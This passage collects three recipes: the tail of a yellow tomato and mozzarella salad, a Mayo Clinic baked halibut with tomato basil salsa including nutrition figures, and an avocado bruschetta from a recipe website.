  • 2 medium yellow tomatoes, cut into wedges
  • 3/4 cup diced fresh mozzarella cheese
  • 1/4 cup chopped fresh parsley
  • 2 tablespoons chopped fresh basil
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste

Preparation

  1. Gently toss tomatoes, mozzarella, parsley, basil and salt together in a large bowl. Season with pepper.

Nutrition

Per serving : 88 Calories; 5 g Fat; 3 g Sat; 0 g Mono; 17 mg Cholesterol; 6 g Carbohydrates; 5 g Protein; 2 g Fiber; 187 mg Sodium; 444 mg Potassium 

Halibut with tomato basil salsa

By Mayo Clinic staff

Dietitian’s tip: Halibut — in addition to cod, flounder and perch — is a lean fish, having less than 2.5 percent fat by weight. For a variation to this recipe, grill the halibut and spoon the tomato basil salsa over each fillet to serve.

By Mayo Clinic staff

Serves 4

Ingredients

2 tomatoes, diced
2 tablespoons fresh basil, chopped
1 teaspoon fresh oregano, chopped
1 tablespoon minced garlic
2 teaspoons extra-virgin olive oil
4 halibut fillets, each 4 ounces

Directions

Preheat the oven to 350 F. Lightly coat a 9-by-13-inch baking pan with cooking spray.

In a small bowl, combine the tomato, basil, oregano and garlic. Add the olive oil and mix well.

Arrange the halibut fillets in the baking pan. Spoon the tomato mixture over the fish. Place in the oven and bake until the fish is opaque throughout when tested with the tip of a knife, about 10 to 15 minutes.

Transfer to individual plates and serve immediately.

Nutritional Analysis

(per serving)

Serving size: 1 fillet
Calories 160 Cholesterol 36 mg
Protein 24 g Sodium 65 mg
Carbohydrate 3 g Fiber 1 g
Total fat 5 g Potassium 672 mg
Saturated fat 1 g Calcium 66 mg
Monounsaturated fat 3 g    

 

Avocado Bruschetta

http://www.myrecipes.com/recipe/avocado-bruschetta-10000001021247/

Photo by: Howard L. Puckett

  • YIELD: Makes 3 dozen
  • COURSE: Appetizers, Hors d’Oeuvres

Ingredients

  • 2 avocados, cubed
  • 2 plum tomatoes, seeded and diced
  • 2 green onions, chopped
  • 2 tablespoons fresh lime juice
  • 1 tablespoon white wine vinegar
  • 1 tablespoon olive oil
  • 2 teaspoons hot sauce
  • 1/2 teaspoon garlic powder
  • 1/4 teaspoon ground white pepper
  • 1/2 teaspoon salt
  • 3 tablespoons olive oil
  • 1 garlic clove, minced
  • 1/2 teaspoon salt
  • 36 French baguette slices
  • 1/4 cup fresh cilantro, chopped

Preparation

Combine first 10 ingredients in a bowl; toss gently to combine. Cover and chill 2 hours.

Combine 3 tablespoons olive oil, garlic, and salt. Place bread slices on a baking sheet, and brush evenly with olive oil mixture. Bake at 350° for 12 minutes or until toasted; cool.

Top each toast evenly with avocado mixture. Sprinkle with cilantro before serving.

Coastal Living JANUARY 2005

 

 

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